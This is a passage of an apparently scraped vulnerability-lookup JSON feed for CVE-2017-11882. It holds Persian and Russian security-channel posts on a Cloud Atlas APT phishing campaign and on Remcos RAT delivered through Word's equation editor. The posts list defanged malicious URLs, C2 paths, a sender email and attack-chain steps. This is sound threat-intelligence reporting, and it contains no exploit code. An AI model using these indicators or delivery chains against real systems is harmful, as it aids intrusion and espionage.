\u0627\u0633\u062a.\n\n\u0627\u062c\u0631\u0627\u06cc \u0627\u06cc\u0646 \u067e\u06cc\u0648\u0633\u062a \u0628\u0627\u0639\u062b \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u062a\u062d\u0648\u06cc\u0644 \u0628\u0627\u0631 \u0645\u0641\u06cc\u062f \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0647\u0645\u0627\u0646\u0646\u062f \u0642\u0628\u0644 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0627\u0633\u062a.\n\n\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u060c \u0647\u0645\u0686\u0646\u0627\u0646 \u0641\u0627\u06cc\u0644 doc \u0637\u0639\u0645\u0647 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0642\u0627\u0644\u0628 RTF \u0641\u0627\u06cc\u0644\u06cc \u0631\u0627 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0634\u0627\u0645\u0644 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a CVE-2017-11882 \u0627\u0633\u062a \u0648 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0631\u062f \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0644\u06cc\u0646\u06a9 hxxps://kommando[.]live/us/?legal/terms/trialterms/secno \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u0646\u062a\u06cc\u062c\u0647 \u0627\u062c\u0631\u0627\u06cc \u0642\u0627\u0644\u0628 \u0648 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u060c \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u062f\u0631\u0627\u067e\u0631 us.txt \u0627\u0632 \u0644\u06cc\u0646\u06a9 hxxps://kommando[.]live/us/?secno/achro33 \u0627\u0633\u062a \u06a9\u0647 \u0634\u0627\u0645\u0644 \u0628\u0627\u0631 \u0645\u0641\u06cc\u062f VBShower \u0628\u0627 C2 \u062f\u0631 hxxps://kommando[.]live/us/?product-kategorie/kosmetik/spezialseifen/instructible \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0627\u0648\u0644\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u062e\u0634 \u06a9\u0634\u0627\u0648\u0631\u0632\u06cc \u062f\u0631 \u067e\u0627\u06cc\u06cc\u0632 \u06f2\u06f0\u06f2\u06f5 \u0646\u06cc\u0633\u062a. \u062f\u0631 \u062d\u0645\u0644\u0647 \u0645\u0634\u0627\u0628\u0647\u06cc \u062f\u0631 \u0633\u067e\u062a\u0627\u0645\u0628\u0631\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0645\u06cc\u0644 glotovao56@yandex[.]ru \u0627\u06cc\u0645\u06cc\u0644\u200c\u0647\u0627\u06cc\u06cc \u0628\u0627 \u0645\u0648\u0636\u0648\u0639 \u00ab\u0641\u0631\u0645 TCH\u00bb \u0648 \u067e\u06cc\u0648\u0633\u062a \u0645\u062e\u0631\u0628 \u00ab\u0641\u0631\u0645 TCH.doc\u00bb \u0627\u0631\u0633\u0627\u0644 \u06a9\u0631\u062f\u0646\u062f.\n\n\u0627\u062c\u0631\u0627\u06cc \u0622\u0646 \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u0627\u06cc \u0627\u0632 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0641\u0627\u06cc\u0644 RTF \u0628\u0647 \u0646\u0627\u0645 regioninvest_net.doc \u0627\u0632 \u0644\u06cc\u0646\u06a9 hxxps:/regioninvest[.]net?pmmc.html/tubularian \u0648 \u062f\u0631\u0627\u067e\u0631 un67.hta \u0627\u0632 \u0644\u06cc\u0646\u06a9 hxxps://regioninvest[.]net/tubularian/un67 \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f.\n\n\u0628\u0627\u0631 \u0645\u0641\u06cc\u062f \u062f\u0631 \u062f\u0631\u0627\u067e\u0631\u060c \u062f\u0631\u067e\u0634\u062a\u06cc VBShower backdoor \u0628\u0627 C2 \u062f\u0631 hxxps://news-freebase[.]com/categoria/brother/p-touch/1280cb-p-touch-brother-2/appres \u0627\u0633\u062a.\n\n\u062f\u0631 \u062a\u062d\u0642\u06cc\u0642 \u062d\u0645\u0644\u0647 \u0627\u06a9\u062a\u0628\u0631\u060c F6 \u062f\u0648 \u0641\u0627\u06cc\u0644 \u0627\u0636\u0627\u0641\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u062f\u0627\u0645\u0646\u0647 kommando[.]live \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f \u06a9\u0647 \u0631\u0648\u06cc \u067e\u0644\u062a\u0641\u0631\u0645 VirusTotal \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647 \u0628\u0648\u062f\u0646\u062f.\n\n\u0646\u0627\u0645 \u0648 \u0645\u062d\u062a\u0648\u0627\u06cc \u0622\u0646\u0647\u0627 \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u062e\u0631\u06cc\u062f\u0647\u0627 \u0648 \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u06a9\u0646\u0627\u0646 \u0634\u0631\u06a9\u062a\u200c\u0647\u0627 \u0628\u0648\u062f \u06a9\u0647 \u0646\u0634\u0627\u0646\u200c\u062f\u0647\u0646\u062f\u0647 \u0627\u0647\u062f\u0627\u0641 \u0627\u062d\u062a\u0645\u0627\u0644\u06cc \u062d\u0645\u0644\u0647 - \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u062e\u0634 \u0635\u0646\u0627\u06cc\u0639 \u062f\u0641\u0627\u0639\u06cc \u0631\u0648\u0633\u06cc\u0647 \u0627\u0633\u062a.\n\n\u062a\u062d\u0644\u06cc\u0644 \u0628\u06cc\u0634\u062a\u0631 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u0634\u0628\u06a9\u0647 \u0648 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0641\u0627\u06cc\u0644\u200c\u0647\u0627 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u062f\u0627\u0645\u0646\u0647 atelierdebondy[.]fr \u0634\u062f \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0633\u0631\u0648\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0631\u0627\u06cc \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0642\u0627\u0644\u0628 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u062f. \u062f\u0631 \u0632\u0645\u0627\u0646 \u062a\u062d\u0644\u06cc\u0644\u060c \u0628\u0627\u0631 \u0645\u0641\u06cc\u062f \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0646\u0628\u0648\u062f.\n\n\u0634\u0627\u06cc\u0627\u0646 \u0630\u06a9\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0628\u0647 \u0646\u062f\u0631\u062a \u0627\u0632 \u062f\u0627\u0645\u0646\u0647\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0645\u0639\u0645\u0648\u0644 \u0628\u0631\u0627\u06cc \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0686\u0646\u06cc\u0646 \u0631\u0641\u062a\u0627\u0631\u06cc \u062a\u0646\u0647\u0627 \u062f\u0631 \u0646\u0648\u0627\u0645\u0628\u0631 \u06f2\u06f0\u06f2\u06f3 \u0648 \u0627\u06a9\u062a\u0628\u0631 \u06f2\u06f0\u06f2\u06f4 \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u06af\u0631\u0648\u0647 \u0627\u0632 \u062f\u0627\u0645\u0646\u0647\u200c\u0647\u0627\u06cc e-mailing[.]online \u0648 jhsdshdkajdhgfyhsfhjshh[.]cfd \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0628\u0647 \u0631\u0648\u0633\u06cc\u0647 \u0648 \u0628\u0644\u0627\u0631\u0648\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u062f\u0627\u0645\u0646\u0647\u200c\u0647\u0627\u060c Cloud Atlas \u0628\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062a\u062d\u0648\u06cc\u0644 \u0628\u0627\u0631 \u0645\u0641\u06cc\u062f \u0646\u06cc\u0632 \u0622\u0632\u0645\u0627\u06cc\u0634 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u062f\u0631 \u0698\u0648\u0626\u06cc\u0647 \u06f2\u06f0\u06f2\u06f5\u060c \u062f\u0648 \u0641\u0627\u06cc\u0644 LNK \u0645\u0634\u0627\u0628\u0647 \u062f\u0631 VirusTotal \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0646\u062f \u06a9\u0647 \u0628\u0627 \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u06f2\u06f0\u06f2\u06f4 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647 \u0628\u0648\u062f\u0646\u062f \u0645\u0637\u0627\u0628\u0642\u062a \u062f\u0627\u0634\u062a\u0646\u062f. \u062f\u0627\u0645\u0646\u0647 istochnik[.]org \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0633\u0631\u0648\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f.\n\n\u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u0647\u06cc\u0686 \u062a\u063a\u06cc\u06cc\u0631\u06cc \u062f\u0631 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0627\u06cc\u062c\u0627\u062f \u0646\u06a9\u0631\u062f\u0646\u062f\u060c \u0628\u0647 \u062c\u0632 \u0627\u0641\u0632\u0648\u062f\u0646 \u0631\u0634\u062a\u0647 ms-office; \u062f\u0631 \u0641\u06cc\u0644\u062f User-Agent. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u067e\u0627\u0633\u062e \u0633\u0631\u0648\u0631 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u0635\u0631\u06cc\u062d \u062a\u0627\u0628\u0639 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0628\u062f.\n\n\u062f\u0631 \u0647\u0631 \u062f\u0648 \u0645\u0648\u0631\u062f\u060c \u0628\u0627\u0631 \u0645\u0641\u06cc\u062f \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0646\u0628\u0648\u062f\u060c \u0627\u0645\u0627 \u062a\u062d\u0644\u06cc\u0644 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u0628\u0627 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0628\u0627\u0644\u0627 \u062d\u0645\u0644\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc LNK \u0641\u0648\u0642 \u062a\u0648\u0633\u0637 \u06af\u0631\u0648\u0647 APT Cloud Atlas \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\u0628\u06cc\u0627\u06cc\u06cc\u062f \u0628\u0627 \u0647\u0645 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f\u0647\u0627 \u0631\u0627 \u0628\u0627\u0644\u0627 \u0628\u0628\u0631\u06cc\u0645.\u00a0 \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec \u0628\u067e\u06cc\u0648\u0646\u062f\u06cc\u062f:\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t", "creation_timestamp": "2025-11-03T16:24:53.000000Z"}, {"uuid": "e4403d07-7311-4053-97e4-28c3700dea3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/itsec_news/4514", "content": "\u200b\u26a1\ufe0f\u041c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0430 \u0437\u043b\u0430: \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u0444\u043e\u0440\u043c\u0443\u043b Word \u043a\u0430\u043a \u043f\u043b\u0430\u0446\u0434\u0430\u0440\u043c \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0442\u0440\u043e\u044f\u043d\u043e\u043c Remcos\n\n\ud83d\udcac\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Forcepoint \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0441\u0445\u0435\u043c\u0443 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0430 Remcos RAT. \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0435\u0442 \u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Microsoft Word, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u00ab.docx\u00bb. \u041f\u043e\u0441\u043b\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0436\u0435\u0440\u0442\u0432\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u043e\u043a\u0440\u0430\u0449\u0451\u043d\u043d\u0443\u044e \u0432\u0435\u0431-\u0441\u0441\u044b\u043b\u043a\u0443. \u041f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e. \u0422\u0440\u043e\u044f\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Word (CVE-2017-11882) \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\nRemcos RAT \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c. \u0422\u0440\u043e\u044f\u043d \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0437\u0432\u0443\u043a \u0438 \u0432\u0438\u0434\u0435\u043e \u0441 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430 \u0438 \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u044b. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u043d \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u043a\u0440\u0430\u0441\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0433\u0443\u0442 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0438 \u043e\u043a\u043e\u043d. \u041f\u0440\u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0438 \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u043c.\n\n\u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u043e\u0439. \u041d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0439\u0442\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0438\u0441\u0435\u043c \u043e\u0442 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u0435 \u043f\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c. \u0412\u0430\u0436\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0443\u044e\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u0430\u0442\u0430\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0431\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438. \u0412\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043a \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0438\u0441\u044c\u043c\u0430\u043c \u0438 \u0444\u0430\u0439\u043b\u0430\u043c \u2014 \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0444\u0430\u043a\u0442\u043e\u0440 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0432\u0430\u0448\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-06-26T16:48:28.000000Z"}, {"uuid": "0e8e93d1-826d-4b18-9630-186ba43122fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/itsec_news/4324", "content": "\u200b\u26a1\ufe0fSteganoAmor: \u0441\u0432\u044b\u0448\u0435 300 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0435\u0434\u0432\u0430 \u043d\u0435 \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u0438\u0437\u043e\u0449\u0440\u0451\u043d\u043d\u043e\u0439 \u00ab\u043b\u044e\u0431\u043e\u0432\u043d\u043e\u0439 \u043b\u043e\u0432\u0443\u0448\u043a\u0438\u00bb\n\n\ud83d\udcac \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 TA558 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0438\u043b\u0438\u043b\u0430 \u0441\u0432\u043e\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0430\u0442\u0430\u043a\u0443\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0438\u0434\u043e\u0432 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u043e\u0433\u043e \u041f\u041e. 